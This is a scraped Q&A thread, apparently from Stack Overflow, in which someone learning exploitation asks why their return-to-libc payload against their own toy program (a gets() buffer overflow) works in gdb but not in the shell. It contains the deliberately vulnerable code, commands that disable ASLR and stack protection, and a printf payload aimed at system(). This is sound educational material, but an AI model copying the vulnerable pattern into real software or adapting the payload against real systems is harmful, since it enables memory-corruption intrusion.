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PO(Another) Return to Libc Attack: Won't Segfault or Return to Libc With Malicious Input. Works in GDB though
 

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  1. PO(Another) Return to Libc Attack: Won't Segfault or Return to Libc With Malicious Input. Works in GDB though
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    <p>I'd like to learn how return to libc attacks work, so I have written a vulnerable program so that I can change the return address of a function to that of <code>system()</code>. However, the program doesn't appear to call <code>system()</code> and exits cleanly.</p> <h2>Prerequisites</h2> <p><strong>-</strong> I'm using Debain Squeeze</p> <p><strong>-</strong> I have disabled address randomization with:</p> <pre><code>echo 0 &gt; /proc/sys/kernel/randomize_va_space </code></pre> <h2>Vulnerable Code</h2> <pre><code>#include &lt;stdio.h&gt; void someFunc(void); void someFunc(void){ char buffer[64]; gets(buffer); //puts(buffer); } int main(int argc, char **argv) { someFunc(); return 0; } </code></pre> <p>The code is compiled with:</p> <pre><code>gcc -fno-stack-protector -ggdb -o vuln vuln.c </code></pre> <p>Using GDB I have asserted that:</p> <ol> <li><code>/bin/zsh</code> is @ <code>0xbffff9b9</code></li> <li><code>system()</code> is @ <code>0xb7ed0000</code></li> <li><code>exit()</code> is @ <code>0xb7ec60f0</code></li> </ol> <h2>Exploit</h2> <p>I exploit it by piping in <code>72</code> zeros, exit, system and the pointer to <code>/bin/zsh</code>, in that order:</p> <pre><code>printf "%072x\xf0\x60\xec\xb7\x00\x00\xed\xb7\xb9\xf9\xff\xbf" | ./vuln </code></pre> <p>The program doesn't segfault or execute <code>/bin/zsh</code>.</p> <h2>In GDB</h2> <p>Interestingly, if I change <code>SHELL="/xin/zsh"</code>, and execute it in gdb, the system call works:</p> <pre><code>Cannot exec /xin/zsh </code></pre> <p>So my questions are:</p> <ol> <li><p>Have I understood the return to libc attack concept correctly?</p></li> <li><p>Am I piping the malicious code in the correct way and order?</p></li> <li><p>Why does it appear to work in GDB, but not in the shell? <br> (I've already read <a href="https://stackoverflow.com/questions/4177996/return-to-libc-works-in-gdb-but-not-when-running-alone">return to libc works in gdb but not when running alone</a>)</p></li> </ol>
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    1. USCommunity
    1. USChris Adams
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      1. PO(Another) Return to Libc Attack: Won't Segfault or Return to Libc With Malicious Input. Works in GDB though
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    1. COWhat platform are you on? Maybe you need `-O0` to disable inlining?
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      1. USThomas
    2. COIt's debian squeeze x86, running inside a virtualbox.
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      1. PO(Another) Return to Libc Attack: Won't Segfault or Return to Libc With Malicious Input. Works in GDB though
      1. USChris Adams
    3. COwhat does `bt` return after the segfault when you `run` this in gdb?
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